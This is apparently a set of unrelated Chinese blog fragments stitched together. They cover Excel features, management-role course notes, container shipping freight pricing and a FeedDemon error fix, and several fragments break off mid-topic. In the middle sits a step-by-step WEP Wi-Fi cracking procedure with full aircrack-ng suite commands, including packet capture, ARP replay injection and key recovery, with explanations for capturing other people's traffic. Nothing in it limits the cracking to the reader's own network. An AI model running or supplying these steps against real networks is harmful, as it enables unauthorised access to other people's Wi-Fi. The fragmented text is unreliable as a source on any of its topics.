还是那个视频的记录，原以为会将公式和宏等高级应用呢，实际这些都没有讲到，只是讲了图表、分类汇总、合并计算、数据透视表、模拟运算表等。
数据透视表讲的很简单，其他的感觉也不大实用，也简单记录一下吧。
1.分类汇总
这个应该有点用，很简单。
要注意的是先排序（可以多个关键字排序），排序字段排在前面汇总的结果会好看点。
2.数据透视表和数据透视图
建立数据透视图前会自动创建数据透视表，两者会自动关联。
3.合并计算[EG_公司、销售一部、销售二部、销售三部]
适合于同一工作簿不同数据表（Sheet）间的数据合并计算。
如果数据排列顺序完全一样，选择数据部分即可。
如果顺序不一样，且数据间有互补性，引用应含行列标志，并且指定行列标志。
可以建立链接关系，这样源数据修改后，合并计算的数据也会自动更新；但是不能修改合并计算。
花了两个半天，学完了时代光华管理课程的第一门，是该回顾一下了。还是用自己的方式按照讲义结构浓缩一下，实现自己的读书由厚到薄的过程。
一、找准位置：认清角色是关键
1.管理人员的层次：经营层/管理层/督导层/执行层
2.角色功能：承上/启下/平行
3.管理人员产生办法：行政任命、工厂招聘、员工推举
4.四种角色
①对上司：服从者、执行者、受训者、协调者。
②对下属：公司的代言人，只有职务意见；获得授权后，代表上级领导和公司。
③对同级：内部客户关系，服务、支持、配合。
④对外：挂名首脑、谈判者。
5.下属角色的五个误区：（帮手和替身）
①“民意代表”：非推举，代表不了下属；取得拥戴关键在于领导；应代表公司维护员工利益而不是相反。[EG_唐.魏征]
②“同情者”：三种表现_一块骂/沉默/反对/支持。[EG_汉武.]
③“只代表个人意见”：对上司可以，对下级只有职务意见，对客户更没有个人意见。
【既然公司制定了这项制度，肯定有其合理性。如果这个制度有问题，我相信公司将来会改正的。在这个制度没有修改之前，我们所做的就是服从。】
④“领主”：过分保护。
⑤错位：向上_评判上司对与错；向下_不愿意下放权力[85%-55%-15%]。[EG_华为新人]
6.下属角色的四项准则
①职权基础是来自于上司的委托或任命；②是上司的代表，你的言行是一中职务行为；
③服从并坚决执行上司的决定；④在职权范围内做事，不要错位。
国际海运运价大体可以分为两种类型：不定期船运价和班轮运价。其中，前者的费率水平随航运市场的供求关系而波动。在市场繁荣时期，不定期船运费率就会上 涨；在市场不景气时，就会随之下跌。后者由班轮公会和班轮经营人确定，它们多与经营成本密切相关，在一定时期内保持相对稳定。
由于海上集装箱运输大都是采用班轮营运组织方式经营的，因此集装箱海运运价实质上也属班轮运价的范畴。集装箱海运运费的计算方法与普通的班轮运输的运费计算方法是一样的，也是根据费率本规定的费率和计费办法计算运费的，并有基本运费和附加运费之分。
一、国际集装箱海运运价的确定原则
通常，班轮公会或班轮经营人对其确定班轮运费率的基本原则并不是公开的。不过，一般来说，传统的“港一港”或称“钧一钧”交接方式下海运运价的确定，通常基于下列三个基本原则。
1．运输服务成本原则
所谓运输服务成本原则（The Cost of Service），是指班轮经营人为保证班轮运输服务连续。有规则地进行，以运输服务所消耗的所有费用及一定的合理利润为基准确定班轮运价。根据这一原则 确定的班轮运价可以确保班轮运费收入不至低于实际的运输服务成本。该原则被广泛应用于国际航运运价的制定。
2．运输服务价值原则
运输服务价值定价原则（The Value of Service）是从需求者的角度出发，依据运输服务所创造的价值的多少进行定价。它是指货主根据运输服务能为其创造的价值水平而愿意支付的价格。运输服 务的价值水平反映了货主对运价的承受能力。如果运费超过了其服务价值，货主就不会将货物交付托运，因为较高的运费将使其商品在市场上失去竞争力。因此，如 果说按照运输服务成本原则制定的运价是班轮运价的下限的话，那么，按照运输服务价值原则制定的运价则是其上限，因为基于运输服务价值水平的班轮运价可以确 保货主在出售其商品后能获得一定的合理收益。
EXCEL非常简单，许多人都有同样的感觉。我也曾这么认为，以至于没有不能踏实系统的学习过它，有些简单的功能如数据统计和分析类的函数应用更是上班后才见识到。汗，现在我只能说当时太不了解它，真正强大的软件就应该是这样：入门很容易，越用越能发现它的强大，最后你就离不开它了。
好了，这次我要记录的是观看视频《边学边用EXCEL2000》的新发现。不是提纲也不是操作步骤，只是我自己能看懂的“关键字”。
下面开始：
1.EXCEL软件全局设置[个性化]
默认路径、用户姓名、自定义序列。
2.数字，分数输入，日期时间输入
自动科学计数，分数：0□3/4
时间：5 PM；
Ctrl+；当前日期。Ctrl+Shift+; 当前时间
以下是破解过程
WEP 破解
1) ifconfig -a
2) airmon-ng start wifi0 6
3) airodump-ng –ivs -w name -c 6 ath1
4) aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1
-1 is -one
5) aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1
新的第5步： aireplay-ng -3 -b ap_mac -h XXXXXXXXXX -x 1024 ath1
6) packetforge-ng -0 -a ap_mac -h XXXXXXXXXX -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXXX-XXXXXX.xor -w mrarp
7) aireplay-ng -2 -r mrarp -x 1024 ath1
8）aircrack-ng -n 64 -b ap_mac name-01.ivs
我提供了样板的文件供下载。
以下一一解释：（运行这些命令都需要打开终端窗口，可以使用Ctrl+C 从文本文件Copy， 然后 Shift+Insert 粘贴入终端窗口）
1）ifconfig -a
这个命令用于找到自己的无线网卡的 Mac地址。请记录下来备用。
2) airmon-ng start wifi0 6
这个命令用于将自己的无线网卡置于Monitor 模式，即类似一个AP的效果，因此可以有抓别人包的功能。
其中 wifi0 是我电脑里面给无线网卡的 ，一般应该都是这个，第一个ifconfig -a命令可以看得到。
wifi0 后面的那个6 ，是需要破解的AP的频道，如果不知道，可以在事前左下角开始菜单里面，找到 第二项 Internet 下面的倒数第二个画着 无线网的一个工具，用它可以看到那些需要破解的AP的频道（Channel）。
我一直是用在线的RSS阅读器Google Reader来订阅博客和新闻的，但是有时候网络状态不好的时候，如果能用离线阅读器也不错，挑来挑去我选了一个NewsGator-FeedDemon 。没想到下载安装了几个版本的都不行，还都是英文的。出错提示是 ：“
Feeddemon was unable to load the newspaper style {all of them!!} This style may have been created for an earlier version.”
怎么换newspaper style 还是一样的。百度了很久也没有找到解决方案。
晕，还好最有想到了更懂英文的Google，一搜果然找到解决办法了。现贴出来大家参考。